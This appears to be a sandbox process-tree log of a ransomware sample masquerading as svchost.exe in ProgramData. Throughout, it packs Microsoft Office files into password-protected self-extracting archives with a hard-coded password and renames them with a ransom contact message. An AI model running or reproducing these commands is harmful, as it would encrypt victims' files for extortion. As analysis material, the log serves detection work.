                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\sdxs.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\sdxs.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\WINWORD.VisualElementsManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\WINWORD.VisualElementsManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1844
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\dcf.x-none.msi.16.x-none.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\dcf.x-none.msi.16.x-none.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\dcf.x-none.msi.16.x-none.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\dcf.x-none.msi.16.x-none.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3260
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\dcfmui.msi.16.en-us.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\dcfmui.msi.16.en-us.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\dcfmui.msi.16.en-us.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\dcfmui.msi.16.en-us.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2328
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\excel.x-none.msi.16.x-none.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\excel.x-none.msi.16.x-none.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5692
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\excel.x-none.msi.16.x-none.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\excel.x-none.msi.16.x-none.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2516
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\excelmui.msi.16.en-us.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\excelmui.msi.16.en-us.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2576
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\excelmui.msi.16.en-us.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\excelmui.msi.16.en-us.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5144
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\office.x-none.msi.16.x-none.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\office.x-none.msi.16.x-none.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5964
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\office.x-none.msi.16.x-none.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\office.x-none.msi.16.x-none.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\office32mui.msi.16.en-us.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\office32mui.msi.16.en-us.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\office32mui.msi.16.en-us.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\office32mui.msi.16.en-us.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4760
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\office32ww.msi.16.x-none.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\office32ww.msi.16.x-none.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5712
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\office32ww.msi.16.x-none.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\office32ww.msi.16.x-none.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\officemui.msi.16.en-us.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\officemui.msi.16.en-us.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1188
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\officemui.msi.16.en-us.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\officemui.msi.16.en-us.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\officemuiset.msi.16.en-us.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\officemuiset.msi.16.en-us.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\officemuiset.msi.16.en-us.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\officemuiset.msi.16.en-us.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4836
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\onenote.x-none.msi.16.x-none.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\onenote.x-none.msi.16.x-none.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\onenote.x-none.msi.16.x-none.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\onenote.x-none.msi.16.x-none.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:864
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\onenotemui.msi.16.en-us.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\onenotemui.msi.16.en-us.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\onenotemui.msi.16.en-us.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\onenotemui.msi.16.en-us.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3444
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\osm.x-none.msi.16.x-none.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\osm.x-none.msi.16.x-none.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3048
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\osm.x-none.msi.16.x-none.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\osm.x-none.msi.16.x-none.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\osmmui.msi.16.en-us.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\osmmui.msi.16.en-us.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3748
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\osmmui.msi.16.en-us.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\osmmui.msi.16.en-us.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1696
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
